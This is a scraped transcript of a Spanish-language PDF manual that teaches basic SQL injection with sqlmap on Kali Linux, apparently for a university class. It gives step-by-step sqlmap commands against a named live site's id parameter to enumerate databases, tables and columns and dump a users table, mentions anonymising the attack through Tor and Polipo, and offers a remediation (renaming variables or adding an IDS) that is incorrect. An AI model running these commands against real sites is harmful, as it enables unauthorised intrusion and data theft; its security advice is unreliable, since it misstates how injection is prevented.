manualdeinyeccionsql_basico

download manualdeinyeccionsql_basico

of 14

Transcript of manualdeinyeccionsql_basico

  • 8/19/2019 manualdeinyeccionsql_basico

    1/14

    1

  • 8/19/2019 manualdeinyeccionsql_basico

    2/14

    2

    SQLMAP(Kali)

    Es una herramienta desarrollada en un lenguaje de programación llamado python utilizado pararealizar inyección de código SQL de manera automática.

    El uso de esta herramienta es poder es detectar y aprovechar las vulnerabilidades de inyecciónSQL en el desarrollo de aplicaciones vía web.

    Una vez que se detecta una o más inyecciones SQL en el servidor de destino, el usuario puedelistar y elegir una variedad de opciones:

    1. Enumerar los todos los usuarios, 2. Ver los hashes de contraseñas,3. Ver privilegios, las bases de datos ,4. Hacer volcado completo de una base de datos

    Como ejemplo usaremos una aplicación realizada por mis alumnos de la UTH, la aplicación está

    desarrollada en php con mysql y hospedada en un hosting gratuito.

    http://conectividad.byethost18.com/

    http://conectividad.byethost18.com/http://conectividad.byethost18.com/http://conectividad.byethost18.com/

  • 8/19/2019 manualdeinyeccionsql_basico

    3/14

    3

    Imagen del sitio

    A continuación se muestra una captura sobre parte del código en que fue programada la páginavulnerable lista para realizar el ataque con sqlmap.

    Los formularios web utilizan dos métodos para el envío de información

    POST GET

    En la programación del sitio se utiliza el método get para las consultas a la base de datos usando el campoID y es ahí donde radica el problema casi las mayorías de programadores usan el mismo campo que seencuentran en la base de datos como la misma variable en el lenguaje de programación

    Ejemplo:

    http://conectividad.byethost18.com/ver_directorio.php?id=1 donde id es una variable usada en php para ver todos los registros que comienzan con la letra A deldirectorio telefónico y esa variable es la misma que existe en una tabla de mysql ahí se encuentra lavulnerabilidad.

    http://conectividad.byethost18.com/ver_directorio.php?id=1http://conectividad.byethost18.com/ver_directorio.php?id=1http://conectividad.byethost18.com/ver_directorio.php?id=1

  • 8/19/2019 manualdeinyeccionsql_basico

    4/14

    4

    Se mostrara el ejemplo de mis alumnos para realizar el ataque usando tor y pólipo para hacerlo demanera anónima, ustedes lo harán a este sitio sin ningún problema pero sin tor ni polipo

    Pasos a realizar en Kali Linux para realizar los ataques a la página web.

    A continuación se trabajará con el sitio web vulnerable y se realizará el ataque al sitio web.

    Para ello nos vamos a aplicaciones, seleccionamos Kali Linux y seleccionamos Top 10 SecurityTools y seleccionar sqlmap, se nos mostrará la terminal donde vamos a proceder a realizar elataque.

  • 8/19/2019 manualdeinyeccionsql_basico

    5/14

    5

    Existe una herramienta llamada sqlmap utilizada para realizar estos tipos de ataques tiene muchosparámetros pero los mas importantes son:

    --dbs = nos muestra las bases de datos activas en el sitio. --tables = nos muestra las tablas de una determinada base de datos. --columns = nos muestra las columnas de una determinada tabla. --dump = vaciado de datos.

    Comandos Utilizados para realizar nuestro ataque sqlmap

    Con el siguiente comando ingresado en la terminal de nuestro kali, nos mostrara la base de datosde dicho sitio web:

    sqlmap -u http://conectividad.byethost18.com/ver_directorio.php?id=1 --dbs

    donde -u es la url y --dbs es para que busque las bases de datos

    http://conectividad.byethost18.com/ver_directorio.php?id=1http://conectividad.byethost18.com/ver_directorio.php?id=1http://conectividad.byethost18.com/ver_directorio.php?id=1http://conectividad.byethost18.com/ver_directorio.php?id=1

  • 8/19/2019 manualdeinyeccionsql_basico

    6/14

    6

    En el resultado de nuestro comando ingresado se muestra que la base de datos se llamab18_15126770_sistema

    Ahora con el siguiente comando nos mostrará las tablas de dicha base de datos:

    2. sqlmap -u http://conectividad .byethost18.com/ver_directorio.php?id=1 -Db18_15126770_sistema --tables

    -u la url

    -D el nombre de la base de datos--tables para que nos encuentren toda las tablas de la base de datos especificada

    http://conectividad/http://conectividad/http://conectividad/http://conectividad/

  • 8/19/2019 manualdeinyeccionsql_basico

    7/14

  • 8/19/2019 manualdeinyeccionsql_basico

    8/14

    8

    Ahora con el siguiente comando nos mostrará las columnas de una tabla en específico. En estecaso mostrará las columnas de la tabla usuarios.

    3. sqlmap –u http://conectividad .byethost18.com/ver_directorio.php?id=1 –Db18_15126770_sistema -T usuarios --columns

    En la imagen se observan todas las columnas, tanto el nombre como su tipo de datos que tieneesa tabla llamada usuarios.

    Columnas de la tabla usuarios:

    1. clave 2. estado 3. idusuario

    http://conectividad/http://conectividad/http://conectividad/http://conectividad/

  • 8/19/2019 manualdeinyeccionsql_basico

    9/14

    9

    Con el siguiente comando nos mostrará todos los registros de una columna en específico. En estecaso mostrará los registros de la columna idusuario.

    4. sqlmap -u http://conectividad .byethost18.com/ver_directorio.php?id=1 -Db18_15126770_sistema -T usuarios -C idusuario --dump

    En la imagen se observan los registros que actualmente tiene esa columna idusuario de la tablausuarios, así mismo puedo saber la información de las demás tablas y columnas sólo se deberepetir los pasos.

    Nuestros ataques fueron realizados correctamente y de forma segura,

    http://conectividad/http://conectividad/http://conectividad/http://conectividad/

  • 8/19/2019 manualdeinyeccionsql_basico

    10/14

    10

    Solución del problema

    Usar en el la programación otra variable distinta a la que está en la base de datos utilizada para

    la consulta, o usar en IDS(detector de instrusos)

    Pruebas de Inyección sqlmap en el sitio web seguro

    Ahora pasaremos a realizar pruebas en el sitio web seguro y notamos que no se puede realizar lainyección sqlmap, es decir nos saldrá un error al momento de querer averiguar cual es el nombrede la base de datos de este sitio web.

    Para ello Ingresamos el siguiente comando para intentar localizar el nombre de la base de datos:

    sqlmap -u http://sistematelefonico.comlu.com/categoria_ver.php?cat=1 --dbs

    http://sistematelefonico.comlu.com/categoria_ver.php?cat=1http://sistematelefonico.comlu.com/categoria_ver.php?cat=1http://sistematelefonico.comlu.com/categoria_ver.php?cat=1

  • 8/19/2019 manualdeinyeccionsql_basico

    11/14

    11

  • 8/19/2019 manualdeinyeccionsql_basico

    12/14

    12

    Como se puede observar nos dice que es imposible localizar la base de datos porque el sitioweb no es vulnerable.

  • 8/19/2019 manualdeinyeccionsql_basico

    13/14

  • 8/19/2019 manualdeinyeccionsql_basico

    14/14